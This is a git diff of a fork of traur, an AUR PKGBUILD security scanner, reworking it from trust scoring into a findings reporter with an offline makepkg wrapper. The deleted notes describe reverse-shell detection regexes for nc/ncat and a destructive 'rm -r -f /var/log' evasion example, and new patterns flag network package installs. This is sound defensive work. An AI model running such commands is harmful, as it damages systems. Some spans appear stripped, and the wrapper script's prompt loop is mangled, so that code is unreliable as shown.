diff --git a/CHANGELOG.md b/CHANGELOG.md index 58729f9..4b98bc5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,11 +1,48 @@ # Changelog -## Unreleased +## 0.5.0 -### Fixed -- **Hook fail-closed**: the ALPM hook now blocks the transaction when scans fail (git timeout, network error, etc.) instead of silently allowing unscanned packages through. Git clone/pull operations have a 30-second timeout to prevent indefinite hangs. +Major rework (this fork): traur is now a **findings reporter**, not a trust +scorer. It lists the security-relevant findings in a package and lets you +decide — no score, no tiers, no automatic blocking. + +### Changed +- Output is a flat, color-coded list of findings **grouped by category** + (Pkgbuild / Behavioral / Temporal / Metadata); each finding shows the line + that triggered it. +- `scan ` now fetches the PKGBUILD and `.install` over HTTP from AUR's + cgit instead of cloning the repo. traur keeps **no on-disk cache** of its own. +- Local/offline scans (`--pkgbuild`, the wrapper) read on-disk files and diff + against the local `.git` when present. + +### Removed +- The 0–100 trust score, the tiers (TRUSTED…MALICIOUS), category weights, and + override-gates. +- The ALPM pre-transaction hook (`traur-hook` binary and `traur.hook`). +- The `allow` / whitelist feature. +- The `bench` subcommand and the obsolete metadata-dump cache (`flate2`, + `MetaDumpPackage`, `~/.cache/traur`). ### Added -- **`-bin` source verification** (`bin_source_verification`): cross-references a `-bin` package's declared upstream URL against its `source=()` download domains. Detects fork impersonation when a package claims one GitHub org as upstream but downloads binaries from a different org. Emits `B-BIN-GITHUB-ORG-MISMATCH` (+50) and `B-BIN-DOMAIN-MISMATCH` (+30) behavioral signals. -- **Orphan takeover detection** (`orphan_takeover_analysis`): New feature that deserializes the `Submitter` field from AUR RPC and compares it against the current `Maintainer`. Emits `B-SUBMITTER-CHANGED` (+15, Behavioral) when they differ, and `B-ORPHAN-TAKEOVER` (+50, Behavioral) when combined with a git author change on an established package (>90 days). Detects the acroread-style attack vector where an attacker adopts an orphaned package and injects malicious code. -- `AurPackage` now deserializes `submitter` and `last_modified` from AUR RPC v5 responses. +- Offline `makepkg` wrapper (`contrib/makepkg-traur`) plus + `traur wrapper --enable/--disable/--status`. It scans the local + PKGBUILD/`.install` before yay/paru builds (once, on the `--verifysource` + pass) and never touches the network during a build, so it cannot stall an + install. Prompt is `[Y/n/d/p]` — `d` shows the update's git diff, `p` shows + the PKGBUILD/`.install` with the flagged lines highlighted. +- `traur scan --pkgbuild --source` prints the PKGBUILD/`.install` with + the flagged lines highlighted. +- Known-malicious-list check (`B-KNOWN-MALICIOUS`): online only, short timeout, + cached, fails open. +- `.install` scripts are now run through the shell and GTFOBins analyses + (`IS-`-prefixed findings), not just pattern matching. + +### Fixed +- Patterns no longer match commented-out code — whole-line `#` comments are + stripped before matching (e.g. `# modprobe configs` no longer trips a + kernel-module finding). +- `P-CHECKSUM-MISMATCH` no longer fires on source arrays built with + `name+=(...)` appends (common in kernel PKGBUILDs). +- AUR comment parser now matches the content div regardless of attribute order + (`id` before `class`), so comment-based warnings are actually detected + (issue #15). diff --git a/CLAUDE.md b/CLAUDE.md index 9ccc4d1..83be52c 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1,35 +1,37 @@ -# traur - Pre-install Trust Scoring for AUR Packages +# traur - Findings-based security scanner for AUR PKGBUILDs -Scores AUR packages before you install them. ALPM hook for pre-install scanning. +Reports the security-relevant findings in an AUR package. No trust score, no +tiers, no ALPM hook, no automatic blocking — it lists what it found and (via the +makepkg wrapper) asks before building. ## Architecture Feature-based with coordinator pattern: ``` -PackageContext (metadata + pkgbuild + git) +PackageContext (pkgbuild + .install + optional metadata/git) -> Coordinator runs all Features - -> Each Feature returns Vec - -> Scorer applies weights + override gates -> final score + tier + -> Each Feature returns Vec (a "Signal" is one finding) + -> ScanResult { package, signals } (flat list, no score/tier) ``` -**Features** (`src/features/`): Self-contained analysis modules, each implementing the `Feature` trait. Each detects specific security signals. +**Features** (`src/features/`): Self-contained analysis modules, each implementing the `Feature` trait. Each detects specific findings and returns `Vec`. -**Shared** (`src/shared/`): Reusable components (AUR API client, GitHub API client, AUR comments scraper, git ops, scoring engine, pattern loader, cache, config, output). +**Shared** (`src/shared/`): Reusable components (AUR RPC client, cgit PKGBUILD fetcher, GitHub API client, AUR comments scraper, local-git read helpers, known-malicious list check, pattern loader, config, output). -**Coordinator** (`src/coordinator.rs`): Orchestrates features, collects signals, computes final score. +**Coordinator** (`src/coordinator.rs`): Orchestrates features and assembles the flat `ScanResult`. -## Scoring +## Scan modes -Trust score 0-100 (higher = more trusted) from 4 weighted categories: -``` -risk = 0.15*metadata + 0.45*pkgbuild + 0.25*behavioral + 0.15*temporal -trust = 100 - risk -``` +- **Offline / local** (`scan --pkgbuild `, and the makepkg wrapper): + reads the local PKGBUILD + `.install`, and diffs against the local `.git` if + present. No network — cannot hang. +- **Online by name** (`scan `): fetches PKGBUILD + `.install` over HTTP + from AUR cgit (no clone, no cache), plus metadata/maintainer/GitHub/comments + and the known-malicious-list check. Adds findings the offline path can't see. -Tiers: TRUSTED (81-100), OK (61-80), SKETCHY (41-60), SUSPICIOUS (21-40), MALICIOUS (0-20). - -Override gates: 47 signals across download-and-execute, reverse shells, GTFOBins binary abuse, and variable-concatenated exec escalate directly to MALICIOUS. +`Signal` retains inert `points`/`is_override_gate` fields (still populated by +some features) but they no longer affect anything and are not serialized. ## Build @@ -37,15 +39,15 @@ Override gates: 47 signals across download-and-execute, reverse shells, GTFOBins cargo build --release ``` -Binaries: `target/release/traur` (CLI) and `target/release/traur-hook` (ALPM hook). +Single binary: `target/release/traur`. -## Install hook +## makepkg wrapper -```bash -sudo install -Dm755 target/release/traur /usr/bin/traur -sudo install -Dm755 target/release/traur-hook /usr/bin/traur-hook -sudo install -Dm644 hook/traur.hook /usr/share/libalpm/hooks/traur.hook -``` +`contrib/makepkg-traur` is the wrapper script, installed to +`/usr/share/traur/makepkg`. `traur wrapper --enable` symlinks it into +`/usr/local/bin/makepkg` so it shadows `/usr/bin/makepkg` in PATH and scans +PKGBUILDs (offline) before yay/paru builds them. `--disable` removes the +symlink; bare `traur wrapper` reports status. ## Adding a new feature @@ -54,36 +56,31 @@ sudo install -Dm644 hook/traur.hook /usr/share/libalpm/hooks/traur.hook 3. Register in `src/features/mod.rs` (`all_features()`) 4. If pattern-based, add rules to `data/patterns.toml` -## Adding new detection patterns - -Edit `data/patterns.toml`. Each pattern has: `id`, `pattern` (regex), `points`, `description`, `override_gate` (bool). Patterns are grouped by feature section name. +Network-dependent features must no-op when their inputs are absent (e.g. +`ctx.metadata.is_none()`), so the offline/wrapper path stays offline. -## Release +## Adding new detection patterns -Use `/release ` in Claude Code to run the full release workflow (bump version, build, GitHub release, update sha256sums, push to both AUR repos). +Edit `data/patterns.toml`. Each pattern has: `id`, `pattern` (regex), `description`, and legacy `points`/`override_gate` fields (parsed but unused). Patterns are grouped by feature section name. ## Key files | File | Purpose | |------|---------| -| `src/coordinator.rs` | Orchestrates features and scoring | +| `src/coordinator.rs` | Orchestrates features; builds context (HTTP online / local offline); returns flat `ScanResult` | | `src/features/mod.rs` | Feature trait + registry | -| `src/shared/scoring.rs` | Score computation, tiers, override gates. Signal has `matched_line: Option` for verbose output | +| `src/shared/scoring.rs` | `Signal` (a finding), `SignalCategory`, `ScanResult` — no scoring logic | | `src/shared/aur_rpc.rs` | AUR RPC v5 API client | -| `src/shared/aur_git.rs` | Git clone/pull/diff operations | -| `src/shared/bulk.rs` | Batch metadata fetch, maintainer prefetch, clone-with-retry | -| `src/features/orphan_takeover_analysis/` | Submitter != maintainer detection, orphan takeover composite signal | -| `src/features/shell_analysis/` | Beyond-regex static analysis (var concat, indirect exec, char-by-char, data blobs, binary download) | -| `src/features/gtfobins_analysis/` | GTFOBins-derived patterns (117 patterns for legitimate binary abuse) | -| `src/features/bin_source_verification/` | -bin package source domain vs upstream URL mismatch detection | -| `src/features/pkgbuild_diff_analysis/` | PKGBUILD diff checking: new suspicious patterns, removed checksums, domain changes, major rewrites | -| `src/features/github_stars/` | GitHub stars checking: zero/low stars, repo not found | -| `src/features/aur_comments_analysis/` | AUR comments scanning for security-related keywords | +| `src/shared/aur_fetch.rs` | Fetch PKGBUILD + `.install` over HTTP from cgit (no clone/cache) | +| `src/shared/aur_git.rs` | Read helpers for a *local* repo (PKGBUILD/.install/git log/diff) | +| `src/shared/malicious_list.rs` | Known-compromised list check (online, cached, fail-open) | +| `src/shared/bulk.rs` | Batch metadata fetch, maintainer prefetch, fetch-with-retry | +| `src/features/shell_analysis/` | Beyond-regex static analysis (also over `.install`, IS- prefix) | +| `src/features/gtfobins_analysis/` | GTFOBins-derived patterns (also over `.install`, IS- prefix) | +| `src/features/pkgbuild_diff_analysis/` | PKGBUILD diff vs prior revision (local git only) | | `src/shared/github.rs` | GitHub API client (star count, repo existence) | | `src/shared/aur_comments.rs` | AUR package page comment scraper | | `src/shared/signal_registry.rs` | Central registry of all signal definitions (pattern + hardcoded) | | `src/shared/config.rs` | User config: whitelist, ignored signals/categories | -| `data/patterns.toml` | Regex pattern database (239 patterns). Total signals: 279 (pattern + hardcoded) | -| `src/bench.rs` | Batch benchmark (parallel scan, retry, stats) | -| `hook/traur.hook` | ALPM hook definition | -| `hook/traur-hook.rs` | Hook binary (filters AUR pkgs, runs scans) | +| `data/patterns.toml` | Regex pattern database | +| `contrib/makepkg-traur` | Offline makepkg wrapper (shipped, opt-in) | diff --git a/Cargo.lock b/Cargo.lock index 1d2cd1f..fb40623 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,12 +2,6 @@ # It is not intended for manual editing. version = 4 -[[package]] -name = "adler2" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" - [[package]] name = "aho-corasick" version = "1.1.4" @@ -198,15 +192,6 @@ version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" -[[package]] -name = "crc32fast" -version = "1.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" -dependencies = [ - "cfg-if", -] - [[package]] name = "crossbeam-deque" version = "0.8.6" @@ -292,16 +277,6 @@ version = "0.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" -[[package]] -name = "flate2" -version = "1.1.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "843fba2746e448b37e26a819579957415c8cef339bf08564fe8b7ddbd959573c" -dependencies = [ - "crc32fast", - "miniz_oxide", -] - [[package]] name = "fnv" version = "1.0.7" @@ -759,16 +734,6 @@ version = "0.3.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" -[[package]] -name = "miniz_oxide" -version = "0.8.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" -dependencies = [ - "adler2", - "simd-adler32", -] - [[package]] name = "mio" version = "1.1.1" @@ -1187,12 +1152,6 @@ version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" -[[package]] -name = "simd-adler32" -version = "0.3.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e320a6c5ad31d271ad523dcf3ad13e2767ad8b1cb8f047f75a8aeaf8da139da2" - [[package]] name = "slab" version = "0.4.12" @@ -1462,11 +1421,10 @@ dependencies = [ [[package]] name = "traur" -version = "0.4.1" +version = "0.5.0" dependencies = [ "clap", "colored", - "flate2", "indicatif", "rayon", "regex", diff --git a/Cargo.toml b/Cargo.toml index 008a5f0..12b43e8 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,18 +1,14 @@ [package] name = "traur" -version = "0.4.1" +version = "0.5.0" edition = "2024" -description = "Trust scoring for AUR packages" +description = "Findings-based security scanner for AUR PKGBUILDs" license = "MIT" [[bin]] name = "traur" path = "src/main.rs" -[[bin]] -name = "traur-hook" -path = "hook/traur-hook.rs" - [dependencies] clap = { version = "4", features = ["derive"] } reqwest = { version = "0.12", features = ["blocking", "json"] } @@ -23,5 +19,4 @@ regex = "1" colored = "2" strsim = "0.11" rayon = "1.10" -flate2 = "1.0" indicatif = "0.17" diff --git a/FIX.md b/FIX.md deleted file mode 100644 index 6eb0dc5..0000000 --- a/FIX.md +++ /dev/null @@ -1,72 +0,0 @@ -# Complaints & Issues to Fix - -Collected from [Reddit r/archlinux](https://www.reddit.com/r/archlinux/comments/1qyl2b4/aur_malware_scanner_in_rust/) and [EndeavourOS forum](https://forum.endeavouros.com/t/new-rust-tool-traur-analyzes-arch-aur-packages-for-hidden-risks/78001/22). - -## High Priority - -### ~~1. megasync `nc -c` false positive (MALICIOUS on legit package)~~ -- ~~`P-REVSHELL-NC` fires on `git -C MEGAsync -c protocol.file.allow='always' submodule update` because it contains `nc -c`~~ -- ~~Flags megasync as MALICIOUS via override gate~~ -- ~~Source: EndeavourOS (dalto identified root cause)~~ -- **Fixed**: Added `\b` word boundary before `(nc|ncat)` in P-REVSHELL-NC and G-BINDSHELL-NC patterns - -### 2. Typosquat false positives on `-bin` variants and `python-*` wrappers -- `python-steam` flagged for embedding "steam" -- `proton-ge-custom-bin` flagged for embedding "proton-ge-custom" -- `-bin` suffix packages of real packages shouldn't trigger typosquat -- `python-*` prefix packages wrapping upstream libs shouldn't trigger typosquat -- Source: EndeavourOS (multiple users), Reddit - -### ~~3. Hook asks confirmation for every package, even clean ones~~ -- ~~Should only prompt on SKETCHY+ results, not TRUSTED/OK~~ -- ~~"That hook is pretty annoying if you have a lot of AUR packages. It asks for confirmation one at a time for every AUR package you update even if there are no issues flagged." — dalto (EOS maintainer)~~ -- ~~Source: EndeavourOS~~ -- **Fixed**: Hook now collects results silently, shows tier summary, only prints detail for SKETCHY+ packages, and skips the prompt entirely when all packages are TRUSTED/OK. Only MALICIOUS hard-blocks. - -### ~~4. Flag spacing bypass (`rm -r -f` vs `rm -rf`)~~ -- ~~`rm -r -f /var/log` is not detected, only `rm -rf /var/log`~~ -- ~~Patterns need to handle flag variations with spaces~~ -- ~~Source: Reddit (ang-p)~~ -- **Fixed**: Added flag-absorber regex fragments (`(-\S+\s+)*`, `(\S+\s+)*`, `[^;&|]*`) to 13 patterns across pkgbuild_analysis and install_script_analysis to handle split flags (`rm -r -f`), intervening flags (`chmod -v +x`), and flag+value pairs (`base64 -w 0 -d`) - -## Medium Priority - -### 5. SA-VAR-CONCAT-CMD too noisy -- Fires on nearly every package that uses `sh` or `python` in build scripts -- radarr, sonarr, peazip, python-ewmh, shell-color-scripts, python-steam, proton-ge-custom-bin all flagged -- Needs better heuristic to distinguish suspicious from normal build usage -- Source: EndeavourOS (appears in almost every user's results) - -### 6. Checksum mismatch wording is confusing/alarming -- `source count (7) != sha256sums count (5)` — users think this means missing checksums are malicious -- Doesn't account for `source_x86_64`/`source_aarch64` having their own checksum arrays -- Doesn't account for SKIP entries -- Wording should be less alarming for common benign cases -- Source: EndeavourOS (fred666, multiple users) - -### 7. freetube-bin checksum mismatch false positive -- `-bin` packages commonly use `source_x86_64` and `source_aarch64` with separate checksum arrays -- Cross-array count comparison is wrong for these -- Source: EndeavourOS (thefrog), Reddit - -## Low Priority / Messaging - -### 8. "Just a big grep against patterns.toml" perception -- Highlight shell_analysis, gtfobins_analysis, behavioral features more prominently -- ang-p: "essentially a big grep against patterns.toml" -- Source: Reddit - -### 9. Branding as "trust engine" not "malware scanner" -- Reddit title said "malware scanner" — sets wrong expectations -- FanClubof5 (24 upvotes): "You might have better luck branding it as a trust engine" -- Source: Reddit - -### 10. ALPM hook not "yay/paru hook" -- Hook is an ALPM hook (works with pacman too), not specific to AUR helpers -- Documentation should use correct terminology -- Source: Reddit (Hermocrates) - -### 11. Rust packaging guidelines not followed in PKGBUILD -- Missing `prepare()` steps from Arch Rust package guidelines -- `--frozen` flag caused build failures for users with different dependency versions -- Source: Reddit (Hermocrates, NeKon69) diff --git a/README.md b/README.md index df94a5a..bd985a2 100644 --- a/README.md +++ b/README.md @@ -1,53 +1,119 @@ # traur -Trust scoring for AUR packages, written in Rust. Analyzes PKGBUILDs, install scripts, source URLs, metadata, and git history to score how much you should trust a package before installing it. Includes an ALPM hook that automatically scans packages before any install or upgrade transaction. - -image +> A fork of [**Sohimaster/traur**](https://github.com/Sohimaster/traur), +> reworked into a plain findings reporter. The upstream project assigns a 0–100 +> **trust score** with tiers and an ALPM hook that can block installs; this fork +> removes all of that in favor of listing the raw findings and letting you +> decide — plus an offline `makepkg` wrapper. If you want the trust-scoring +> tool, use upstream. +A findings-based security scanner for AUR PKGBUILDs, written in Rust. It +analyzes PKGBUILDs, `.install` scripts, source URLs, metadata, and git history +and reports the security-relevant **findings** it detects — no opaque trust +score, no tiers, no automatic blocking. You decide what the findings mean. +It can also wrap `makepkg` so that every AUR build (via yay/paru) is scanned +**offline** before it runs. +![traur scanning a package during an AUR install, showing findings and the proceed prompt](demo.png) ## Installation +This fork isn't on the AUR — build from source: + +```bash +git clone https://github.com/adelmonte/traur +cd traur +cargo build --release +sudo install -Dm755 target/release/traur /usr/bin/traur +sudo install -Dm755 contrib/makepkg-traur /usr/share/traur/makepkg +``` + +Then, optionally, turn on the makepkg wrapper (see below): + ```bash -paru -S traur +sudo traur wrapper --enable ``` ## Usage ```bash -traur scan # scan all installed aur packages -traur scan # scan a package -traur allow # whitelist a package +traur scan # fetch a package's PKGBUILD over HTTP and scan it +traur scan # scan all installed AUR packages +traur scan --pkgbuild ./PKGBUILD # scan a local PKGBUILD (offline) +traur scan --pkgbuild ./PKGBUILD --source # ...and print the PKGBUILD with flagged lines highlighted +traur ignore # suppress a specific finding +traur signals # list every finding traur can emit +``` + +Scanning a package by name pulls just the PKGBUILD and `.install` over HTTP from +AUR's cgit — nothing is cloned and no cache is kept on disk. + +## makepkg wrapper + +Scan PKGBUILDs automatically right before yay/paru builds them: + +```bash +sudo traur wrapper --enable # symlink the wrapper into /usr/local/bin/makepkg +traur wrapper # show status +sudo traur wrapper --disable # remove it ``` +The wrapper scans the local PKGBUILD/`.install` **offline** (it reads the files +the helper already downloaded), prints the findings, then asks before building. +Because it never touches the network during a build, it cannot stall an install. + +At the prompt: + +| Key | Action | +|-----|--------| +| `Y` / Enter | proceed with the build (default) | +| `n` | abort the build | +| `d` | show the git diff for this update (what changed), then ask again | +| `p` | show the PKGBUILD/`.install` with the flagged lines highlighted, then ask again | + +When run non-interactively (e.g. a `--noconfirm` update) it prints the findings +and proceeds automatically. + ## How it works -12 independent features emit scored signals per package: +Independent features each emit the findings they detect: | Feature | What it checks | |---------|---------------| | PKGBUILD analysis | Dangerous shell code | -| Install script analysis | Suspicious .install hooks | +| Install script analysis | Suspicious `.install` hooks | | Source URL analysis | Untrusted source domains | | Checksum analysis | Missing, skipped, or weak checksums | -| Metadata analysis | AUR votes, popularity, maintainer status | +| Shell analysis | Beyond-regex obfuscation (var concat, indirect exec, data blobs) — also over `.install` | +| GTFOBins analysis | Legitimate binary abuse — also over `.install` | +| Bin source verification | `-bin` package source domain vs upstream URL mismatch | +| Metadata analysis | AUR votes, popularity, maintainer status (online) | | Name analysis | Typosquatting and brand impersonation | -| Maintainer analysis | New accounts, batch uploads | -| Orphan takeover analysis | Submitter != maintainer, orphan takeover patterns | -| Git history analysis | New network code, author changes | -| Shell analysis | Beyond-regex obfuscation (var concat, indirect exec, data blobs) | -| GTFOBins analysis | Legitimate binary abuse | -| Bin source verification | -bin package source domain vs upstream URL mismatch | +| Maintainer analysis | New accounts, batch uploads (online) | +| Orphan takeover analysis | Submitter != maintainer, orphan takeover patterns (online) | +| Git history analysis | New network code, author changes (local git) | +| GitHub stars | Upstream repo missing or unpopular (online) | +| AUR comments analysis | Security warnings in recent comments (online) | +| Known-malicious list | Package appears on Arch's compromised-package list (online) | + +Features marked *(online)* only run when scanning a package by name; the +offline wrapper / `--pkgbuild` path runs the file-based and local-git checks +only. *(local git)* features run when a `.git` is present (the helper's build +dir). ## Detection coverage Patterns derived from real AUR malware incidents: +- **Atomic Arch supply-chain campaign (2026)** — build-time package-manager installs (`npm`/`pip`/`cargo`/…), escalated when the package was recently adopted (`B-ORPHAN-NET-INSTALL`), plus a check against Arch's known-compromised package list (`B-KNOWN-MALICIOUS`) - **CHAOS RAT (2025)** — browser impersonation packages, RAT distribution -- **Google Chrome RAT (2025)** — .install script, Python download+execute +- **Google Chrome RAT (2025)** — `.install` script, Python download+execute - **Acroread (2018)** — orphan takeover, curl from paste service, systemd persistence -Categories: download-and-execute, reverse shells, credential theft, persistence mechanisms, privilege escalation, C2/exfiltration, cryptocurrency mining, code obfuscation, kernel module loading, environment variable theft, system reconnaissance. +Categories: download-and-execute, reverse shells, credential theft, persistence +mechanisms, privilege escalation, C2/exfiltration, cryptocurrency mining, code +obfuscation, kernel module loading, environment variable theft, system +reconnaissance. ## License diff --git a/ROADMAP.md b/ROADMAP.md deleted file mode 100644 index e1c4152..0000000 --- a/ROADMAP.md +++ /dev/null @@ -1,19 +0,0 @@ -# Roadmap - -## ~~GitHub stars checking~~ (done) -Fetch star count from the upstream GitHub repo (parsed from PKGBUILD `url=`). Low or zero stars on a package claiming to be popular is a trust signal. Helps distinguish legitimate projects from throwaway repos. - -## ~~Recent AUR comments checking~~ (done) -Pull recent comments from the AUR package page and scan for keywords indicating bugs, errors, or malware reports. User reports are an early warning signal that often surfaces before maintainers act. - -## ~~Show signals report for all packages~~ (done) -Currently the detailed signals breakdown only appears for sketchy/suspicious/malicious tiers. Show it for all packages (including trusted/ok) so users always see what was analyzed. - -## ~~PKGBUILD diff checking~~ (done) -On update, diff the new PKGBUILD against the previously cached version. Flag newly introduced suspicious patterns, removed checksums, or significant structural changes. Catches supply-chain attacks that slip malicious lines into an otherwise trusted package. - -## ~~`-bin` source verification~~ (done) -Cross-reference PKGBUILD `url=` (upstream project) against `source=()` download domains. Flag when a `-bin` package downloads from a different GitHub org/domain than the declared upstream. Catches fork impersonation and attacker-controlled repos masquerading as official releases. - -## ~~Hook fail-open fix~~ (done) -The ALPM hook continues the transaction if `build_context` errors (e.g. git clone hangs). Add timeouts to git operations and fail closed — block the transaction on scan failure rather than silently bypassing. This is a security bug, not a feature. diff --git a/contrib/makepkg-traur b/contrib/makepkg-traur new file mode 100755 index 0000000..f0536df --- /dev/null +++ b/contrib/makepkg-traur @@ -0,0 +1,68 @@ +#!/bin/bash +# traur makepkg wrapper — scan the local PKGBUILD with traur before makepkg +# builds it. Installed to /usr/share/traur/makepkg; activate by symlinking it +# into /usr/local/bin/makepkg (so it shadows /usr/bin/makepkg in PATH) with: +# +# traur wrapper --enable +# +# The scan is fully offline (traur reads the PKGBUILD and .install already on +# disk), so it can never block a build on the network. + +real_makepkg=/usr/bin/makepkg + +# yay/paru invoke makepkg several times per install (verifysource, printsrcinfo, +# nobuild, build, ...). The --verifysource pass runs exactly once and before the +# build, so we scan only on it: one scan per install, before any compilation, +# and a fresh scan every time you re-run (no stale dedup lock). Every other pass +# falls straight through untouched. +do_scan=0 +for arg in "$@"; do + if [[ "$arg" == "--verifysource" ]]; then + do_scan=1 + break + fi +done + +if [[ $do_scan -eq 1 && -f PKGBUILD ]] && command -v traur >/dev/null 2>&1; then + # Offline local scan. Findings go to stderr; stdout stays clean. + timeout 15 traur scan --pkgbuild ./PKGBUILD >&2 + + # Prompt only with a controlling terminal; otherwise auto-proceed so + # unattended (--noconfirm) updates never stall. + # d = git diff for this update (what changed) + # p = the PKGBUILD/.install with the flagged lines highlighted (why it fired) + if { : >/dev/tty; } 2>/dev/null; then + printf '\033[2m d = view the diff for this update p = show the flagged PKGBUILD/.install\033[0m\n' >/dev/tty + while true; do + printf '\033[1;32m==>\033[0m traur: proceed with build? [Y/n/d/p] ' >/dev/tty + read -r reply \033[0m traur: aborted\n' >&2 + exit 1 + ;; + [Dd]*) + { + if git rev-parse --is-inside-work-tree >/dev/null 2>&1 \ + && git rev-parse HEAD~1 >/dev/null 2>&1; then + git --no-pager -c color.ui=always diff HEAD~1 HEAD + else + echo "--- PKGBUILD ---"; cat PKGBUILD + for f in *.install; do + [ -e "$f" ] && { echo "--- $f ---"; cat "$f"; } + done + fi + } >/dev/tty 2>&1 + ;; + [Pp]*) + CLICOLOR_FORCE=1 traur scan --pkgbuild ./PKGBUILD --source >/dev/tty 2>&1 + ;; + *) + break + ;; + esac + done + fi +fi + +exec "$real_makepkg" "$@" diff --git a/data/patterns.toml b/data/patterns.toml index 366bb2c..684486a 100644 --- a/data/patterns.toml +++ b/data/patterns.toml @@ -610,6 +610,20 @@ points = 65 description = "Alias override of common system commands" override_gate = false +[[pkgbuild_analysis]] +id = "P-NET-PKG-INSTALL-JS" +pattern = '\b(npm|pnpm|yarn|bun)\s+(i|install|add)\s+(?:--?\S+\s+)*[@./\w]' +points = 35 +description = "Build step installs a named JS package over the network (npm/yarn/pnpm/bun)" +override_gate = false + +[[pkgbuild_analysis]] +id = "P-NET-PKG-INSTALL" +pattern = '\b(pip[23]?\s+install|gem\s+install|cargo\s+install|go\s+install)\s+\S' +points = 25 +description = "Build step installs a package over the network (pip/gem/cargo/go)" +override_gate = false + # Install script patterns [[install_script_analysis]] id = "P-INSTALL-CURL" @@ -800,6 +814,20 @@ points = 60 description = "XDG autostart creation from install script" override_gate = false +[[install_script_analysis]] +id = "P-INSTALL-PKG-MANAGER-JS" +pattern = '\b(npm|pnpm|yarn|bun)\s+(i|install|add)\s+(?:--?\S+\s+)*[@./\w]' +points = 35 +description = "Install script installs a named JS package over the network (npm/yarn/pnpm/bun)" +override_gate = false + +[[install_script_analysis]] +id = "P-INSTALL-PKG-MANAGER" +pattern = '\b(pip[23]?\s+install|gem\s+install|cargo\s+install|go\s+install)\s+\S' +points = 25 +description = "Install script installs a package over the network (pip/gem/cargo/go)" +override_gate = false + # Source URL patterns [[source_url_analysis]] id = "P-RAW-IP-URL" diff --git a/demo.png b/demo.png new file mode 100644 index 0000000..c0f230f Binary files /dev/null and b/demo.png differ diff --git a/hook/CLAUDE.md b/hook/CLAUDE.md deleted file mode 100644 index 6ef7672..0000000 --- a/hook/CLAUDE.md +++ /dev/null @@ -1,38 +0,0 @@ -# Hook - -ALPM (pacman) hook integration for automatic pre-install scanning. - -## Files - -- `traur.hook` — ALPM hook definition, installed to `/usr/share/libalpm/hooks/` -- `traur-hook.rs` — Hook binary entry point, compiled as a separate binary - -## How it works - -1. pacman triggers the hook before any Install or Upgrade transaction -2. ALPM passes matched package names to `traur-hook` via stdin (one per line) -3. `traur-hook` filters out official repo packages using `pacman -Sl` -4. Batch-fetches AUR metadata to identify which packages actually exist on AUR; packages not found (e.g. local `-debug` split packages) are skipped with an info message -5. Remaining AUR packages are scanned silently (progress indicator only) -5. After all scans, a tier summary is printed (counts per tier) -6. Decision logic: - - **All TRUSTED/OK**: prints "All packages look clean.", exits 0 — no prompt - - **SKETCHY or SUSPICIOUS**: prints detail for flagged packages, prompts [y/N] - - **MALICIOUS**: prints detail, hard-blocks (exit 1), must whitelist to proceed - - **Scan errors**: hard-blocks (exit 1), fail-closed -7. `AbortOnFail` in the hook definition causes pacman to abort on exit 1 - -## Installation - -```bash -sudo install -Dm644 hook/traur.hook /usr/share/libalpm/hooks/traur.hook -``` - -The hook binary is installed as `/usr/bin/traur-hook` by the package. - -## Design decisions - -- **Silent on clean**: TRUSTED/OK packages produce only a summary count. Detail is shown only for SKETCHY+ packages. No prompt when all packages are clean. -- **Only MALICIOUS hard-blocks**: SKETCHY and SUSPICIOUS prompt the user [y/N] but don't require whitelisting. Only MALICIOUS packages force `traur allow` to proceed. -- **Fail closed**: If a scan errors out (git clone timeout, network failure, etc.), the hook blocks the transaction. Unscanned packages are not allowed through. Git operations have a 30-second timeout to prevent indefinite hangs. Packages not found on AUR are skipped (not treated as errors) since they are locally-built packages (e.g. `-debug` split packages). -- **Official repo skip**: `pacman -Sl` is fast and reliable for filtering. AUR packages are not in sync databases. diff --git a/hook/traur-hook.rs b/hook/traur-hook.rs deleted file mode 100644 index b0c086f..0000000 --- a/hook/traur-hook.rs +++ /dev/null @@ -1,288 +0,0 @@ -//! traur-hook: ALPM pre-transaction hook binary. -//! Reads package names from stdin (passed by pacman/paru via NeedsTargets), -//! filters to AUR-only packages, scans each silently, then shows a summary. -//! Detail is only printed for SKETCHY+ packages. No prompt when all clean. -//! -//! All output goes to /dev/tty — pacman buffers both stdout and stderr from -//! hooks, so we must write directly to the terminal. - -use std::fs::OpenOptions; -use std::io::{self, BufRead, BufReader, Write}; -use std::collections::HashSet; -use std::process::Command; -use colored::Colorize; -use traur::coordinator; -use traur::shared::bulk; -use traur::shared::config::{self, is_whitelisted_in}; -use traur::shared::output; -use traur::shared::scoring::{ScanResult, Tier}; - -fn main() { - // Force colored output — ALPM hooks inherit the terminal but colored - // crate can't detect it since stdin is a pipe. - colored::control::set_override(true); - - // Collect all package names from stdin (ALPM NeedsTargets) - let stdin = io::stdin(); - let packages: Vec = stdin - .lock() - .lines() - .filter_map(|line| line.ok()) - .map(|l| l.trim().to_string()) - .filter(|l| !l.is_empty()) - .collect(); - - if packages.is_empty() { - return; - } - - // Filter to AUR-only packages (single pacman -Sl call instead of per-package -Si) - let official = official_repo_packages(); - let aur_packages: Vec = packages - .into_iter() - .filter(|pkg| !official.contains(pkg.as_str())) - .collect(); - - if aur_packages.is_empty() { - return; - } - - // Open /dev/tty for ALL output — pacman buffers both stdout and stderr - // from 